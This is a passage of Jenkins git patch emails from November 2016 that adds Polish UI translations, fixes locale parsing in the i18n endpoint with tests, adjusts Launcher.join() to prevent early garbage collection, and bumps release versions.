+Optionally\ append\ &cause\=Cause+Text\ to\ provide\ text\ that\ will\ be\ included\ in\ the\ recorded\ build\ cause.=Opcjonalnie do\u0142\u0105cz &cause=Cause+Text, aby dostarczy\u0107 tekst, kt\u00F3y b\u0119dzie informowa\u0142 o \u017Ar\u00F3dle budowania. +Use\ the\ following\ URL\ to\ trigger\ build\ remotely\:=U\u017Cyj tego adresu URL, aby wyzwoli\u0107 budowanie zdalnie +Authentication\ Token=Token autentyfikacji +Trigger\ builds\ remotely=Wyzwalaj budowanie zdalnie +e.g.,\ from\ scripts=np. przez skrypt +or=lub +Use\ the\ following\ URL\ to\ trigger\ build\ remotely=U\u017Cyj tego adresu URL, aby wyzwoli\u0107 budowanie zdalnie diff --git a/core/src/main/resources/hudson/model/Messages_pl.properties b/core/src/main/resources/hudson/model/Messages_pl.properties index 2430967bbe..705ca647da 100644 --- a/core/src/main/resources/hudson/model/Messages_pl.properties +++ b/core/src/main/resources/hudson/model/Messages_pl.properties @@ -1,4 +1,34 @@ +# The MIT License +# +# Copyright (c) 2004-2016, Sun Microsystems, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + ParametersDefinitionProperty.DisplayName=To zadanie jest sparametryzowane +StringParameterDefinition.DisplayName=Tekst +TextParameterDefinition.DisplayName=Tekst wielolinijkowy +FileParameterDefinition.DisplayName=Plik +BooleanParameterDefinition.DisplayName=Warto\u015B\u0107 logiczna +ChoiceParameterDefinition.DisplayName=Lista wyboru +ChoiceParameterDefinition.MissingChoices=Nie podano warto\u015Bci +PasswordParameterDefinition.DisplayName=Has\u0142o + ManageJenkinsAction.DisplayName=Zarz\u0105dzaj Jenkinsem Job.AllRecentBuildFailed=Wszystkie ostatnie zadania nie powiod\u0142y si\u0119. @@ -46,4 +76,6 @@ UpdateCenter.Status.Success=Zako\u0144czono pomy\u015Blnie MyViewsProperty.DisplayName=Moje widoki MyViewsProperty.GlobalAction.DisplayName=Moje widoki -FreeStyleProject.Description=To jest podstawowa funkcja Jenkinsa. Jenkins stworzy projekt \u0142\u0105cz\u0105cy dowolny SCM z dowolnym systemem buduj\u0105cym, mo\u017Ce to by\u0107 r\u00F3wnie\u017C wykorzystane do czego\u015B innego ni\u017C budowanie oprogramowania. \ No newline at end of file +FreeStyleProject.Description=To jest podstawowa funkcja Jenkinsa. Jenkins stworzy projekt \u0142\u0105cz\u0105cy dowolny SCM z dowolnym systemem buduj\u0105cym, mo\u017Ce to by\u0107 r\u00F3wnie\u017C wykorzystane do czego\u015B innego ni\u017C budowanie oprogramowania. +# Freestyle project +FreeStyleProject.DisplayName=Og\u00F3lny projekt diff --git a/core/src/main/resources/hudson/model/User/configure_pl.properties b/core/src/main/resources/hudson/model/User/configure_pl.properties index 9f7991a2af..ee7056f22e 100644 --- a/core/src/main/resources/hudson/model/User/configure_pl.properties +++ b/core/src/main/resources/hudson/model/User/configure_pl.properties @@ -1,4 +1,27 @@ -# This file is under the MIT License by authors +# The MIT License +# +# Copyright (c) 2004-2016, Sun Microsystems, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. Description=Opis Full\ name=Twoje imi\u0119 i nazwisko +# User \u2018{0}\u2019 Configuration +title=Konfiguracja u\u017Cytkownika \u2018{0}\u2019 +Save=Zapisz diff --git a/core/src/main/resources/hudson/search/Messages_pl.properties b/core/src/main/resources/hudson/search/Messages_pl.properties new file mode 100644 index 0000000000..831dc71a95 --- /dev/null +++ b/core/src/main/resources/hudson/search/Messages_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +# Setting for search +UserSearchProperty.DisplayName=Ustawienia wyszukiwania diff --git a/core/src/main/resources/hudson/search/UserSearchProperty/config_pl.properties b/core/src/main/resources/hudson/search/UserSearchProperty/config_pl.properties new file mode 100644 index 0000000000..7355873179 --- /dev/null +++ b/core/src/main/resources/hudson/search/UserSearchProperty/config_pl.properties @@ -0,0 +1,24 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +Case-sensitivity=Wielko\u015B\u0107 liter +Insensitive\ search\ tool=Pomi\u0144 wielko\u015B\u0107 litler diff --git a/core/src/main/resources/hudson/tasks/ArtifactArchiver/config_pl.properties b/core/src/main/resources/hudson/tasks/ArtifactArchiver/config_pl.properties index 3752d192fa..75d09b7600 100644 --- a/core/src/main/resources/hudson/tasks/ArtifactArchiver/config_pl.properties +++ b/core/src/main/resources/hudson/tasks/ArtifactArchiver/config_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright 2014 Jesse Glick. +# Copyright 2014-2016 Jesse Glick, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -20,4 +20,14 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Fingerprint\ all\ archived\ artifacts=Odcisk palca wszystkich zarchiwizowanych artefakt\u00f3w +Fingerprint\ all\ archived\ artifacts=Odcisk palca wszystkich zarchiwizowanych artefakt\u00F3w +Files\ to\ archive=Pliki do zarchiwizowania +# Do not fail build if archiving returns nothing +allowEmptyArchive=Nie oznaczaj zadania niepowodzeniem, je\u015Bli nie odnaleziono plik\u00F3w do zarchiwizowania +Excludes=Pliki do pomini\u0119cia +# Treat include and exclude patterns as case sensitive +caseSensitive=Uwzgl\u0119dniaj wielko\u015B\u0107 liter przy filtrowaniu plik\u00F3w do zarchiwizowania +# Archive artifacts only if build is successful +onlyIfSuccessful=Archiwizuj pliki tylko, je\u015Bli zadanie zako\u0144czy\u0142o si\u0119 powodzeniem +# Use default excludes +defaultExcludes=U\u017Cywaj domy\u015Blnego filtru dla plik\u00F3w, kt\u00F3re nale\u017Cy pomin\u0105\u0107 diff --git a/core/src/main/resources/hudson/tasks/LogRotator/config_pl.properties b/core/src/main/resources/hudson/tasks/LogRotator/config_pl.properties index c52764d174..ff13ee9006 100644 --- a/core/src/main/resources/hudson/tasks/LogRotator/config_pl.properties +++ b/core/src/main/resources/hudson/tasks/LogRotator/config_pl.properties @@ -1,7 +1,30 @@ -# This file is under the MIT License by authors +# The MIT License +# +# Copyright (c) 2004-2016, Sun Microsystems, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. Days\ to\ keep\ artifacts=Ilo\u015B\u0107 dni przechowywania artefaktu -Days\ to\ keep\ builds=Ilo\u015B\u0107 dni przechowywania zada\u0144 -Max\ #\ of\ builds\ to\ keep=Maksymalna ilo\u015B\u0107 przechowywanych zada\u0144 -if\ not\ empty,\ build\ records\ are\ only\ kept\ up\ to\ this\ number\ of\ days=Je\u015Bli nie jest puste, zadania s\u0105 przechowywane podan\u0105 ilo\u015B\u0107 dni +Days\ to\ keep\ builds=Maksymalny czas przechowywania w dniach +if\ not\ empty,\ build\ records\ are\ only\ kept\ up\ to\ this\ number\ of\ days=Je\u015Bli nie jest puste, zadania s\u0105 przechowywane tyle dni, ile podano if\ not\ empty,\ only\ up\ to\ this\ number\ of\ build\ records\ are\ kept=Je\u015Bli nie jest puste, przechowywanych jest tyle zada\u0144, ile podano +Max\ \#\ of\ builds\ to\ keep\ with\ artifacts=Maksymalna ilo\u015B\u0107 zada\u0144 przechowywanych z artefaktami +if\ not\ empty,\ only\ up\ to\ this\ number\ of\ builds\ have\ their\ artifacts\ retained=Je\u015Bli nie jest puste, przechowywanych jest tyle zada\u0144 z artefaktami, ile podano +if\ not\ empty,\ artifacts\ from\ builds\ older\ than\ this\ number\ of\ days\ will\ be\ deleted,\ but\ the\ logs,\ history,\ reports,\ etc\ for\ the\ build\ will\ be\ kept=Je\u015Bli nie jest puste, artefakty z zada\u0144 starsze ni\u017C podana ilo\u015B\u0107 dni b\u0119d\u0105 usuni\u0119te, ale rejestr zdarze\u0144, historia, raporty itp b\u0119d\u0105 zachowane +Max\ \#\ of\ builds\ to\ keep=Maksymalna ilo\u015B\u0107 zada\u0144 do przechowania diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/config_pl.properties b/core/src/main/resources/hudson/triggers/SCMTrigger/config_pl.properties new file mode 100644 index 0000000000..ce553b93e0 --- /dev/null +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/config_pl.properties @@ -0,0 +1,22 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Schedule=Harmonogram diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/config_pl.properties b/core/src/main/resources/hudson/triggers/TimerTrigger/config_pl.properties new file mode 100644 index 0000000000..2210111174 --- /dev/null +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/config_pl.properties @@ -0,0 +1,22 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Schedule=-Harmonogram diff --git a/core/src/main/resources/jenkins/management/Messages_pl.properties b/core/src/main/resources/jenkins/management/Messages_pl.properties index 0193fb3c76..bae564f04c 100644 --- a/core/src/main/resources/jenkins/management/Messages_pl.properties +++ b/core/src/main/resources/jenkins/management/Messages_pl.properties @@ -1,7 +1,6 @@ -# # The MIT License # -# Copyright (c) 2012, CloudBees, Intl., Nicolas De loof +# Copyright (c) 2012-2016, CloudBees, Intl., Nicolas De loof, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -20,7 +19,6 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -# ConfigureLink.DisplayName=Skonfiguruj system ConfigureLink.Description=Konfiguruj ustawienia globalne i \u015Bcie\u017Cki. @@ -53,3 +51,7 @@ NodesLink.Description=Dodawaj, usuwaj, kontroluj i monitoruj r\u00F3\u017Cne w\u ShutdownLink.DisplayName_prepare=Przygotuj do wy\u0142\u0105czenia ShutdownLink.DisplayName_cancel=Anuluj wy\u0142\u0105czenie ShutdownLink.Description=Zatrzyma wykonanie nowych build\u00F3w, tak by system m\u00F3g\u0142by\u0107 bezpiecznie wy\u0142\u0105czony. +# Global Tool Configuration +ConfigureTools.DisplayName=Globalne narz\u0119dzia do konfiguracji +# Configure tools, their locations and automatic installers. +ConfigureTools.Description=Konfiguruj narz\u0119dzia, \u015Bcie\u017Cki do nich i automatyczne instalatory diff --git a/core/src/main/resources/jenkins/triggers/ReverseBuildTrigger/config_pl.properties b/core/src/main/resources/jenkins/triggers/ReverseBuildTrigger/config_pl.properties new file mode 100644 index 0000000000..1dc6324ab4 --- /dev/null +++ b/core/src/main/resources/jenkins/triggers/ReverseBuildTrigger/config_pl.properties @@ -0,0 +1,25 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Trigger\ only\ if\ build\ is\ stable=Uruchamiaj tylko, je\u015Bli zadanie by\u0142o stabilne +Trigger\ even\ if\ the\ build\ is\ unstable=Uruchamiaj nawet, je\u015Bli zadanie by\u0142o niestabilne +Projects\ to\ watch=Obserwowane projekty +Trigger\ even\ if\ the\ build\ fails=Uruchamiaj nawet, je\u015Bli zadanie nie powiod\u0142o si\u0119 -- GitLab From 1256285f6272c94c12ac7038398a4fedae54bc9a Mon Sep 17 00:00:00 2001 From: Thorsten Scherler Date: Sat, 19 Nov 2016 22:30:51 +0100 Subject: [PATCH 348/712] [FIX JENKINS-39034] /i18n/resourceBundle should be conform to the w3c standard about locale negotiation (#2594) * [parseCountry] Extract region/country and variant from the language parameter in case it is bigger then 2 letters. Add tests for both cases. * [JENKINS-39034] remove debug system out * [JENKINS-39034] Only if we have 5 or more character we want to get the country - prevent NPE * [JENKINS-39034] use split since it is more general * [JENKINS-39034] Only override country and variant if not already set * [JENKINS-39034] better test cases to test whether the fallback and variant resolving work corret * [JENKINS-39034] remove duplicate tests and better name existing ones --- core/src/main/java/jenkins/I18n.java | 13 ++++++++- test/src/test/java/jenkins/I18nTest.java | 28 +++++++++++++++++++ .../jenkins/i18n/Messages.properties | 1 + .../jenkins/i18n/Messages_en_AU.properties | 1 + .../i18n/Messages_en_AU_variant.properties | 1 + 5 files changed, 43 insertions(+), 1 deletion(-) create mode 100644 test/src/test/resources/jenkins/i18n/Messages.properties create mode 100644 test/src/test/resources/jenkins/i18n/Messages_en_AU.properties create mode 100644 test/src/test/resources/jenkins/i18n/Messages_en_AU_variant.properties diff --git a/core/src/main/java/jenkins/I18n.java b/core/src/main/java/jenkins/I18n.java index d0f36ae3a4..35722c4941 100644 --- a/core/src/main/java/jenkins/I18n.java +++ b/core/src/main/java/jenkins/I18n.java @@ -93,7 +93,18 @@ public class I18n implements RootAction { String language = request.getParameter("language"); String country = request.getParameter("country"); String variant = request.getParameter("variant"); - + // https://www.w3.org/International/questions/qa-lang-priorities + // in case we have regions/countries in the language query parameter + if (language != null) { + String[] languageTokens = language.split("-|_"); + language = languageTokens[0]; + if (country == null && languageTokens.length > 1) { + country = languageTokens[1]; + if (variant == null && languageTokens.length > 2) { + variant = languageTokens[2]; + } + } + } try { Locale locale = request.getLocale(); diff --git a/test/src/test/java/jenkins/I18nTest.java b/test/src/test/java/jenkins/I18nTest.java index 5f2da8e793..a28dd1b41a 100644 --- a/test/src/test/java/jenkins/I18nTest.java +++ b/test/src/test/java/jenkins/I18nTest.java @@ -76,4 +76,32 @@ public class I18nTest { JSONObject data = response.getJSONObject("data"); Assert.assertEquals("Initialisiere Log-Rekorder", data.getString("LogRecorderManager.init")); } + + @Issue("JENKINS-39034") + @Test // variant testing + public void test_valid_region_variant() throws IOException, SAXException { + JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=jenkins.i18n.Messages&language=en_AU_variant").getJSONObject(); + Assert.assertEquals("ok", response.getString("status")); + JSONObject data = response.getJSONObject("data"); + Assert.assertEquals("value_au_variant", data.getString("Key")); + } + + @Issue("JENKINS-39034") + @Test //country testing with delimeter '-' instead of '_' + public void test_valid_region() throws IOException, SAXException { + JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=jenkins.i18n.Messages&language=en-AU").getJSONObject(); + Assert.assertEquals("ok", response.getString("status")); + JSONObject data = response.getJSONObject("data"); + Assert.assertEquals("value_au", data.getString("Key")); + } + + @Issue("JENKINS-39034") + @Test //fallthrough to default language if variant does not exit + public void test_valid_fallback() throws IOException, SAXException { + JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=jenkins.i18n.Messages&language=en_NZ_variant").getJSONObject(); + Assert.assertEquals("ok", response.getString("status")); + JSONObject data = response.getJSONObject("data"); + Assert.assertEquals("value", data.getString("Key")); + } + } diff --git a/test/src/test/resources/jenkins/i18n/Messages.properties b/test/src/test/resources/jenkins/i18n/Messages.properties new file mode 100644 index 0000000000..79be40d0e6 --- /dev/null +++ b/test/src/test/resources/jenkins/i18n/Messages.properties @@ -0,0 +1 @@ +Key=value diff --git a/test/src/test/resources/jenkins/i18n/Messages_en_AU.properties b/test/src/test/resources/jenkins/i18n/Messages_en_AU.properties new file mode 100644 index 0000000000..435264bdcb --- /dev/null +++ b/test/src/test/resources/jenkins/i18n/Messages_en_AU.properties @@ -0,0 +1 @@ +Key=value_au diff --git a/test/src/test/resources/jenkins/i18n/Messages_en_AU_variant.properties b/test/src/test/resources/jenkins/i18n/Messages_en_AU_variant.properties new file mode 100644 index 0000000000..40c8280b3d --- /dev/null +++ b/test/src/test/resources/jenkins/i18n/Messages_en_AU_variant.properties @@ -0,0 +1 @@ +Key=value_au_variant -- GitLab From fbc072ee6c2bda1b069d0d4241617b432faf206b Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 19 Nov 2016 23:17:48 +0100 Subject: [PATCH 349/712] [JENKINS-39883] Remove obsolete property from slave-agent.jnlp file (#2629) --- .../resources/hudson/slaves/SlaveComputer/slave-agent.jnlp.jelly | 1 - 1 file changed, 1 deletion(-) diff --git a/core/src/main/resources/hudson/slaves/SlaveComputer/slave-agent.jnlp.jelly b/core/src/main/resources/hudson/slaves/SlaveComputer/slave-agent.jnlp.jelly index 3d15dbb245..aff376cb8a 100644 --- a/core/src/main/resources/hudson/slaves/SlaveComputer/slave-agent.jnlp.jelly +++ b/core/src/main/resources/hudson/slaves/SlaveComputer/slave-agent.jnlp.jelly @@ -57,7 +57,6 @@ THE SOFTWARE. - -- GitLab From fd6c6aff929be9818f4eb4b84ed6b4593356853f Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 20 Nov 2016 00:53:42 +0100 Subject: [PATCH 350/712] [JENKINS-23271] - Prevent early deallocation of the Proc instance by GC in ProcStarter#join() (#2635) * [JENKINS-23271] - Prevent the prelimimary deallocation of the Proc instance by GC It is a hackish way, which likely prevents a preliminary deallocation of the spawned RemoteProc instance, which we see in JENKINS-23271. Proc instance was not actually required in the original code since we were creating and using RemoteInvocationHandler wrapper only, and the theory discussed with @stephenc was that object gets removed by Java8 garbage collector before we get into join(). This fix enforces the persistency of ProcStarter#start() result by adding logging and the enforced volatile field (maybe the last one is not really required, but JIT compiler in Java implementations may be smart enough to skip unused loggers) This is a pretty old fix from August, which has been soak tested on my instance for several weeks (mid-August => Jenkins World). On the reference instance (just a small Jenkins instance with 4 agents and very frequent builds with CommandInterpreter steps) I saw 2 failures over the period. On the fixed instance - 0. It does not proof anything, but at least the fix was soak tested a bit * [JENKINS-23271] - Get rid of the procHolderForJoin field * [JENKINS-23271] - Also put the check into the finally statement as @stephenc proposed * Remove assert --- core/src/main/java/hudson/Launcher.java | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/Launcher.java b/core/src/main/java/hudson/Launcher.java index 4a6ed74f85..3f8c24d3a4 100644 --- a/core/src/main/java/hudson/Launcher.java +++ b/core/src/main/java/hudson/Launcher.java @@ -42,6 +42,8 @@ import org.apache.commons.io.input.NullInputStream; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; +import javax.annotation.CheckForNull; +import javax.annotation.concurrent.GuardedBy; import java.io.BufferedOutputStream; import java.io.File; import java.io.IOException; @@ -383,9 +385,25 @@ public abstract class Launcher { /** * Starts the process and waits for its completion. + * @return Return code of the invoked process + * @throws IOException Operation error (e.g. remote call failure) + * @throws InterruptedException The process has been interrupted */ public int join() throws IOException, InterruptedException { - return start().join(); + // The logging around procHolderForJoin prevents the preliminary object deallocation we saw in JENKINS-23271 + final Proc procHolderForJoin = start(); + LOGGER.log(Level.FINER, "Started the process {0}", procHolderForJoin); + try { + final int returnCode = procHolderForJoin.join(); + if (LOGGER.isLoggable(Level.FINER)) { + LOGGER.log(Level.FINER, "Process {0} has finished with the return code {1}", new Object[]{procHolderForJoin, returnCode}); + } + return returnCode; + } finally { + if (procHolderForJoin.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process not finished after call to join() completed"); + } + } } /** -- GitLab From fca3aa7239e24754c28e51abcad257338c2eb63e Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 20 Nov 2016 11:20:41 +0100 Subject: [PATCH 351/712] Changelog: Noting #2640, #2633, #2635, #2594 and #2636 --- changelog.html | 21 ++++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 2abfe35173..afeccfae61 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,26 @@ Upcoming changes

                What's new in 2.32 (2016/11/16)

                -- GitLab From f5152457155c73577f102ed14794d38ef05d460d Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 20 Nov 2016 15:32:46 -0800 Subject: [PATCH 352/712] [maven-release-plugin] prepare release jenkins-2.33 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index f30a6acd7b..4d8105d994 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.33-SNAPSHOT + 2.33 cli diff --git a/core/pom.xml b/core/pom.xml index ca845d2f0f..3f5ad5b8e2 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.33-SNAPSHOT + 2.33 jenkins-core diff --git a/pom.xml b/pom.xml index 90b2419d21..527bce78b5 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.33-SNAPSHOT + 2.33 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.33 diff --git a/test/pom.xml b/test/pom.xml index 0a28bfa186..1d2f244c36 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.33-SNAPSHOT + 2.33 test diff --git a/war/pom.xml b/war/pom.xml index c3d2610350..fcf0596fd1 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.33-SNAPSHOT + 2.33 jenkins-war -- GitLab From 98561d9f509e91951e48bb5f948352da88845b0f Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 20 Nov 2016 15:32:46 -0800 Subject: [PATCH 353/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 